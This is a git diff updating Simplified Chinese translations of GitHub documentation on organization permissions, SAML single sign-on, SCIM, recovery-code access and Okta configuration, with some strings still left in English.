-| Can be made a *team maintainer* | **X** | **X** |
-| Transfer repositories | **X** | |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read), push (write), and clone (copy) *all repositories* in the organization | **X** | |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |
-{% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |{% endif %}
+| 组织操作                                                                                                                                                                                                                                                |  所有者  |               成员               |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:------------------------------:|
+| 邀请人员加入组织                                                                                                                                                                                                                                            | **X** |                                |
+| 编辑和取消邀请加入组织                                                                                                                                                                                                                                         | **X** |                                |
+| 从组织删除成员                                                                                                                                                                                                                                             | **X** |               |                |
+| 恢复组织的前成员                                                                                                                                                                                                                                            | **X** |               |                |
+| 添加和删除**所有团队**的人员                                                                                                                                                                                                                                    | **X** |                                |
+| 将组织成员升级为*团队维护员*                                                                                                                                                                                                                                     | **X** |                                |
+| Configure code review assignments (see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)"))                                                                  | **X** |                                |
+| 添加协作者到**所有仓库**                                                                                                                                                                                                                                      | **X** |                                |
+| 访问组织审核日志                                                                                                                                                                                                                                            | **X** |                                |
+| 编辑组织的资料页面（详细信息请参阅“[关于组织的资料](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)”）                                                                                                        | **X** | |  |{% ifversion ghes > 3.1 %}
+| 验证组织的域（详细信息请参阅“[验证组织的域](/articles/verifying-your-organization-s-domain)”）                                                                                                                                                                           | **X** |                                |
+| 将电子邮件通知限于已经验证或批准的域名（有关详细信息，请参阅“[限制组织的电子邮件通知](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)”）                                                                                               | **X** |          
+{% endif %}
+| 删除**所有团队**                                                                                                                                                                                                                                          | **X** |                                |
+| 删除组织帐户，包括所有仓库                                                                                                                                                                                                                                       | **X** |                                |
+| 创建团队（详细信息请参阅“[在组织中设置团队创建权限](/articles/setting-team-creation-permissions-in-your-organization)”）                                                                                                                                                     | **X** |             **X**              |
+| 查看所有组织成员和团队                                                                                                                                                                                                                                         | **X** |             **X**              |
+| @提及任何可见团队                                                                                                                                                                                                                                           | **X** |             **X**              |
+| 可成为*团队维护员*                                                                                                                                                                                                                                          | **X** |             **X**              |
+| 转让仓库                                                                                                                                                                                                                                                | **X** |                                |
+| 管理组织的 SSH 认证中心（详细信息请参阅“[管理组织的 SSH 认证中心](/articles/managing-your-organizations-ssh-certificate-authorities)”）                                                                                                                                        | **X** |                                |
+| 创建项目板（详细信息请参阅“[组织的项目板权限](/articles/project-board-permissions-for-an-organization)”）                                                                                                                                                                 | **X** |            **X** |             |
+| 查看并发布公共团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** |            **X** |             |
+| 查看并发布私有团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** |               |                |
+| 编辑和删除**所有团队**中的团队讨论（更多信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)”）                                                                                                                            | **X** |               |                |
+| 隐藏对提交、拉取请求和议题的评论（详细信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)”）                                                                                                             | **X** |         **X** | **X**          |
+| 对组织禁用团队讨论（详细信息请参阅“[对组织禁用团队讨论](/articles/disabling-team-discussions-for-your-organization)”）                                                                                                                                                         | **X** |               |                |
+| 设置**所有团队**的团队头像（详细信息请参阅“[设置团队的头像](/articles/setting-your-team-s-profile-picture)”）                                                                                                                                                                  | **X** | |  |{% ifversion ghes > 3.0 %}
+| 管理从组织中的仓库发布 {% data variables.product.prodname_pages %} 站点（请参阅“[管理组织的 {% data variables.product.prodname_pages %} 站点发布](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)”了解详细信息） | **X** |          
+{% endif %}
+| [在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                           | **X** |               |                |
+| 拉取（读取）、推送（写入）和克隆（复制）组织中的*所有仓库*                                                                                                                                                                                                                      | **X** |                                |
+| 将组织成员转换为[外部协作者](#outside-collaborators)                                                                                                                                                                                                             | **X** |                                |
+| [查看对组织仓库具有访问权限的人员](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                         | **X** |                                |
+| [导出具有组织仓库访问权限人员的列表](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                             | **X** |                                |
+| 管理默认标签（请参阅“[管理组织中仓库的默认标签](/articles/managing-default-labels-for-repositories-in-your-organization)”）                                                                                                                                                | **X** |                                |
+{% ifversion ghae %}| 管理 IP 允许列表（请参阅“[限制到企业的网络流量](/admin/configuration/restricting-network-traffic-to-your-enterprise)”）| **X** |{% endif %}
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[Project board permissions for an organization](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)"
+- "[组织的项目板权限](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
index 5839c6e333..b4bbfd56eb 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About identity and access management with SAML single sign-on
-intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.'
+title: 关于使用 SAML 单点登录管理身份和访问
+intro: '如果您使用身份提供程序 (IdP) 集中管理用户身份和应用程序，可以配置安全声明标记语言 (SAML) 单点登录 (SSO) 来保护组织在 {% data variables.product.prodname_dotcom %} 上的资源。'
 redirect_from:
   - /articles/about-identity-and-access-management-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on
@@ -9,56 +9,56 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: IAM with SAML SSO
+shortTitle: 使用 SAML SSO 的 IAM
 ---
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO
+## 关于 SAML SSO
 
 {% data reusables.saml.dotcom-saml-explanation %}
 
 {% data reusables.saml.saml-accounts %}
 
-Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+组织所有者可以对单个组织强制实施 SAML SSO，企业所有者可以为企业帐户中的所有组织强制实施 SAML SSO。 更多信息请参阅“[配置企业的 SAML 单点登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+在为您的组织启用 SAML SSO 之前，您需要将 IdP 连接到组织。 更多信息请参阅“[将身份提供程序连接到组织](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)”。
 
-For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+对于组织，SAML SSO 可以禁用、启用但不实施或者启用并实施。 为组织启用 SAML SSO 并且组织成员使用 IdP 成功完成身份验证后，您可以实施 SAML SSO 配置。 有关对 {% data variables.product.prodname_dotcom %} 组织实施 SAML SSO 的更多信息，请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”。
 
-Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue.
+成员必须定期使用您的 IdP 进行身份验证，以获得对组织资源的访问权限。 此登录期的持续时间由 IdP 指定，一般为 24 小时。 此定期登录要求会限制访问的时长，您必须重新验证身份后才可继续访问。
 
-To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a personal access token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+要在命令行使用 API 和 Git 访问组织受保护的资源，成员必须授权并使用个人访问令牌或 SSH 密钥验证身份。 更多信息请参阅“[授权个人访问令牌用于 SAML 单点登录](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”和“[授权 SSH 密钥用于 SAML 单点登录](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)”。
 
-The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+成员第一次使用 SAML SSO 访问您的组织时，{% data variables.product.prodname_dotcom %} 会自动创建一条记录，以链接您的组织、成员在 {% data variables.product.product_location %} 上的帐户以及成员在 IdP 上的帐户。 您可以查看和撤销组织成员或企业帐户关联的 SAML 身份、活动的会话以及授权的凭据。 更多信息请参阅“[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)”和“[查看和管理用户对企业帐户的 SAML 访问](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)”。
 
-If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+如果成员在创建新的仓库时使用 SAML SSO 会话登录，则该仓库的默认可见性为私密。 否则，默认可见性为公开。 有关仓库可见性的更多信息，请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)。”
 
-Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.product_name %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss.
+组织成员还必须具有活动的 SAML 会话才可授权 {% data variables.product.prodname_oauth_app %}。 您可以联系 {% data variables.contact.contact_support %} 选择退出此要求。 {% data variables.product.product_name %} 不建议退出此要求，因为它会使您的组织面临更高的帐户接管风险和潜在的数据丢失风险。
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Supported SAML services
+## 支持的 SAML 服务
 
 {% data reusables.saml.saml-supported-idps %}
 
-Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. {% data reusables.scim.enterprise-account-scim %} For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+有些 IdP 支持配置通过 SCIM 访问 {% data variables.product.prodname_dotcom %} 组织。 {% data reusables.scim.enterprise-account-scim %} 更多信息请参阅“[关于 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)”。
 
-## Adding members to an organization using SAML SSO
+## 使用 SAML SSO 添加成员到组织
 
-After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.product_name %} or using the API. For more information, see "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)" and "[Members](/rest/reference/orgs#add-or-update-organization-membership)."
+在启用 SAML SSO 后，可通过多种方式向组织添加新成员。 组织所有者可在 {% data variables.product.product_name %} 上或使用 API 手动邀请新成员。 更多信息请参阅“[邀请用户加入组织](/articles/inviting-users-to-join-your-organization)”和“[成员](/rest/reference/orgs#add-or-update-organization-membership)”。
 
-To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing _ORGANIZATION_ with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization.
+要供应新用户而不使用组织所有者的邀请，您可以使用 URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`，将 _ORGANIZATION_ 替换为组织的名称。 例如，您可以配置 IdP，让能访问 IdP 的任何人都可单击 IdP 仪表板上的链接加入 {% data variables.product.prodname_dotcom %} 组织。
 
-If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+如果您的 IdP 支持 SCIM，当您在 IdP 上授予访问权限时，{% data variables.product.prodname_dotcom %} 可以自动邀请成员加入您的组织。 如果您删除成员对 SAML IdP 上 {% data variables.product.prodname_dotcom %} 组织的访问权限，该成员将自动从 {% data variables.product.prodname_dotcom %} 组织删除。 更多信息请参阅“[关于 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)”。
 
 {% data reusables.organizations.team-synchronization %}
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication and SAML single sign-on ](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
-- "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- "[关于双重身份验证和 SAML 单点登录](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
+- "[关于使用 SAML 单点登录进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
index b4df5f9aec..2317dc42ce 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
@@ -1,6 +1,6 @@
 ---
-title: About SCIM
-intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.'
+title: 关于 SCIM
+intro: '通过“跨域身份管理系统”(System for Cross-domain Identity Management, SCIM)，管理员可以在系统之间自动交换用户身份信息。'
 redirect_from:
   - /articles/about-scim
   - /github/setting-up-and-managing-organizations-and-teams/about-scim
@@ -13,20 +13,20 @@ topics:
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-If you use [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) in your organization, you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.product_name %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization.
+如果在组织中使用 [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)，您可以实施 SCIM 来添加、管理和删除组织成员对 {% data variables.product.product_name %} 的访问权限。 例如，管理员可以使用 SCIM 撤销配置组织成员，以及从组织中自动删除成员。
 
-If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. To remove access, organization administrators can either manually remove the authorized token from the organization or automate its removal with SCIM.
+如果您使用 SAML SSO 而不实施 SCIM，将不能自动撤销配置。 当组织成员的会话在其访问权限从 IdP 删除后到期时，他们就会自动从组织中删除。 即使会话已到期，通过授权的令牌也可授予对组织的访问。 要删除访问权限，组织管理员可以手动从组织删除授权的令牌，或者通过 SCIM 自动执行删除。
 
-These identity providers are compatible with the {% data variables.product.product_name %} SCIM API for organizations. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation.
+这些身份提供程序兼容组织的 {% data variables.product.product_name %} SCIM API。 更多信息请参阅 {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 文档中的 [SCIM](/rest/reference/scim) 。
 - Azure AD
 - Okta
 - OneLogin
 
 {% data reusables.scim.enterprise-account-scim %}
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Connecting your identity provider to your organization](/articles/connecting-your-identity-provider-to-your-organization)"
-- "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
-- "[Viewing and managing a member's SAML access to your organization](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
+- "[关于使用 SAML 单点登录管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[将身份提供程序连接到组织](/articles/connecting-your-identity-provider-to-your-organization)"
+- "[对组织启用并测试 SAML 单点登录](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
+- "[查看和管理成员对组织的 SAML 访问](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
index 61ab67a115..ffb4f7eebe 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing your organization if your identity provider is unavailable
-intro: 'Organization administrators can sign into {% data variables.product.product_name %} even if their identity provider is unavailable by bypassing single sign-on and using their recovery codes.'
+title: 身份提供程序不可用时访问组织
+intro: '即使身份提供程序不可用，组织管理员也可绕过单点登录使用其恢复代码登录 {% data variables.product.product_name %}。'
 redirect_from:
   - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable
@@ -9,26 +9,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Unavailable identity provider
+shortTitle: 不可用的身份提供程序
 ---
 
-Organization administrators can use [one of their downloaded or saved recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) to bypass single sign-on. You may have saved these to a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+组织管理员可以使用[下载或保存的恢复代码](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)绕过单点登录。 您可能已将这些保存到密码管理器，如 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/)。
 
 {% note %}
 
-**Note:** You can only use recovery codes once and you must use them in consecutive order. Recovery codes grant access for 24 hours.
+**注：**恢复代码只能使用一次，并且必须按连续的顺序使用。 恢复代码授予 24 小时访问权限。
 
 {% endnote %}
 
-1. At the bottom of the single sign-on dialog, click **Use a recovery code** to bypass single sign-on.
-![Link to enter your recovery code](/assets/images/help/saml/saml_use_recovery_code.png)
-2. In the "Recovery Code" field, type your recovery code.
-![Field to enter your recovery code](/assets/images/help/saml/saml_recovery_code_entry.png)
-3. Click **Verify**.
-![Button to verify your recovery code](/assets/images/help/saml/saml_verify_recovery_codes.png)
+1. 在单点登录对话框底部，单击 **Use a recovery code（使用恢复代码）**绕过单点登录。 ![用于输入恢复代码的链接](/assets/images/help/saml/saml_use_recovery_code.png)
+2. 在 "Recovery Code"（恢复代码）字段中，输入您的恢复代码。 ![无法输入恢复代码](/assets/images/help/saml/saml_recovery_code_entry.png)
+3. 单击 **Verify（验证）**。 ![用于确认恢复代码的按钮](/assets/images/help/saml/saml_verify_recovery_codes.png)
 
-After you've used a recovery code, make sure to note that it's no longer valid. You will not be able to reuse the recovery code.
+请务必注意，恢复代码在使用后便不再有效。 恢复代码不能重复使用。
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[关于使用 SAML SSO 管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
index 0c2dba8ac3..374006d401 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring SAML single sign-on and SCIM using Okta
-intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.product.product_location %}.'
+title: 使用 Octa 配置 SAML 单个登录和 SCIM
+intro: '您可以使用安全声明标记语言 (SAML) 单点登录 (SSO) 和跨域身份管理系统 (SCIM) 与 Okta 一起来自动管理对 {% data variables.product.product_location %} 上组织的访问。'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta
 permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization.
@@ -9,51 +9,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Configure SAML & SCIM with Okta
+shortTitle: 使用 Octa 配置 SAML 和 SCIM
 ---
 
-## About SAML and SCIM with Okta
+## 关于 SAML 和 SCIM 与 Octa
 
 You can control access to your organization on {% data variables.product.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP).
 
-SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+SAML SSO 控制并保护对组织资源（如仓库、议题和拉取请求）的访问。 SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. 更多信息请参阅“[关于使用 SAML 单点登录管理身份和访问](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)”和“[关于 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)”。
 
-After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta.
+启用 SCIM 后，您在 Okta 中为其分配了 {% data variables.product.prodname_ghe_cloud %} 应用程序的任何用户都可以使用以下配置。
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}. |
-| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}. |
-| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
-| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}. |
+| 功能       | 描述                                                                                                                                                                       |
+| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| 推送新用户    | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}.                           |
+| 推送用户停用   | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}.                                   |
+| 推送个人资料更新 | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
+| 重新激活用户   | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}.        |
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.saml.use-classic-ui %}
 
-## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta
+## 在 Okta 中添加 {% data variables.product.prodname_ghe_cloud %} 应用程序
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.add-okta-application %}
 {% data reusables.saml.search-ghec-okta %}
-4. To the right of "Github Enterprise Cloud - Organization", click **Add**.
-  ![Clicking "Add" for the {% data variables.product.prodname_ghe_cloud %} application](/assets/images/help/saml/okta-add-ghec-application.png)
+4. 在“Github Enterprise Cloud - Organization（Github Enterprise Cloud - 组织）”的右侧单击 **Add（添加）**。 ![对 {% data variables.product.prodname_ghe_cloud %} 应用程序单击"Add（添加）"](/assets/images/help/saml/okta-add-ghec-application.png)
 
-5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. For example, if your organization's URL is https://github.com/octo-org, the organization name would be `octo-org`.
-  ![Type GitHub organization name](/assets/images/help/saml/okta-github-organization-name.png)
+5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. 例如，如果组织的 URL 是 https://github.com/octo-org，则组织名称为 `octo-org`。 ![键入 GitHub 组织名称](/assets/images/help/saml/okta-github-organization-name.png)
 
-6. Click **Done**.
+6. 单击 **Done（完成）**。
 
-## Enabling and testing SAML SSO
+## 启用和测试 SAML SSO
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
 {% data reusables.saml.assign-yourself-to-okta %}
 {% data reusables.saml.okta-sign-on-tab %}
 {% data reusables.saml.okta-view-setup-instructions %}
-6. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+6. 按照“如何配置 SAML 2.0”指南，使用登录 URL、发行机构 URL 和公共证书在 {% data variables.product.prodname_dotcom %} 上启用并测试 SAML SSO。 更多信息请参阅“[对组织启用并测试 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)”。
 
-## Configuring access provisioning with SCIM in Okta
